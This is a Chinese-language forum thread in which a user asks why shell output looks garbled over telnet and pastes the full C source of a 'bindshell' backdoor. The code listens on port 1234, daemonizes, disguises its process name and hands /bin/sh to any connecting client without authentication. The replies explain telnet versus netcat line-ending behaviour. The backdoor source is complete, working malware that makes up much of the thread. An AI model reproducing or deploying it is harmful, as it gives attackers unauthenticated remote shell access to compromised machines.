emm的一篇回帖 解释了 telnet 和 nc

请教一个bindshell.c中看到的问题!请指教!谢谢!

运行了bindshell这个程序以后,用别的电脑进入这个程序监听的端口,进去以后,发现那些输出的字符串的位置并不是我们平常看到的那样,要是使用ls -l显示就更明显了!他们的位置是按照一定的规则显示,但是这位置却是不正常的!不知道这个问题怎么解决?

如果要解决这个问题该怎么添加代码?

要解决该用到什么知识?是输出重定向吗?

刚开始接触这些东西,真希望有人能指点一下!就算不懂也帮我顶一下好吗?




代码是ayazero给的那个!

*
* Unknown author.
*/


#define PORT 1234
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv[i],'x0',strlen(argv[i]));
};
strcpy(argv[0],"th1s iz mY 3l1t3 baCkd00r");

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}



telnetd服务段的代码有多长？bindshell.的代码多长？
bindshell只是让你exec command，并没有完整的远程登录协议支持终端会话控制



envymask

这个问题，就让愚人来解释一下：

归根结底，还是回车控制符在作怪。

还有就是Windows下面的Telnet.exe不够智能化。

Windows下面的Telnet.exe默认发送的命令结束符是按照标准的Telnet协议来的，以/r作为命令结束符，且命令结束，敲回车时，只发送一个/r字符作为结束。但在上面的bindshell.c中，明显没有处理好各种命令结束符，一律以/n来作为命令结束符。这时候，不管你输入什么东西，都看不到预期的结果，只能看到一些光标一样的东西一闪一闪地，因为没有发送/n作为命令结束符，所以Telnetd认为命令还没有输入完，所以永远看不到结果。解决办法是设置telnet的环境变量set crlf，这样，在telnet.exe中敲回车，发送的是/r/n，虽然命令可以执行成功，但必须在命令最后多敲一个“;”号，而且格式非常乱，最后还会冒出一个“: command not found”，就像楼猪说的那样。

为什么会造成这样的问题呢？先来解决第一个问题，因为命令结束后，敲入回车，Telnet.exe发送的是/r/n，bindshell.c会认为/n前面的都是命令，当然也把/r包括进去了，比如输入“ls”，真正发送到bindshell.c的字符串其实是“ls/r/n”，bindshell.c就认为/n是命令结束符，把/n去掉，留下的就是“ls/r”而不是“ls”，当然，这个命令是不存在的，所以会返回: command not found。要想达到真正ls命令的目的，就要发送“ls;”，这时发送到bindshell.c的字符串是“ls;/r/n”，除去/n控制字符，剩下的就是“ls;/r”，为什么现在就能执行成功了呢？是因为那是两条命令，中间被“;”字符分割开了。分别执行了“ls”和“/r”命令，当然，第一个是肯定可以执行成功的，但第二条“/r”命令不会执行成功，因为没有“/r”命令，它只是一个控制字符。所以，在ls命令反回成功之后 ，会紧跟着一个: command not found。第二个问题，为什么返回的ls结果，会杂乱无章呢，这个也是因为Telnet.exe没有把bindshell.c的返回结果处理好，bindshell.c返回的行尾是以/n结束的，我想，如果是/r/n来结束，应该会按预期想像的那样把结果打印到控制台。

Unix下面的Telnet客户端就比Windows下面的智能一些了，它会自动判断当前会话是否Telnet协议，如果不是，则发送/n作为命令结束符，那么这样正合bindshell.c的意思，一切如故。

NC也比较傻瓜，也是命令/n作为命令结束符，但以/n作为命令结束符，也符合bindshell.c的意愿，所以不管是在Windows下，还是Unix下，使用NC连接都可以达到预期的效果。

我上面所说的，都是自已抓包分析得到的结果，如果说错了，表拿鸡蛋砸我，我可没收钱。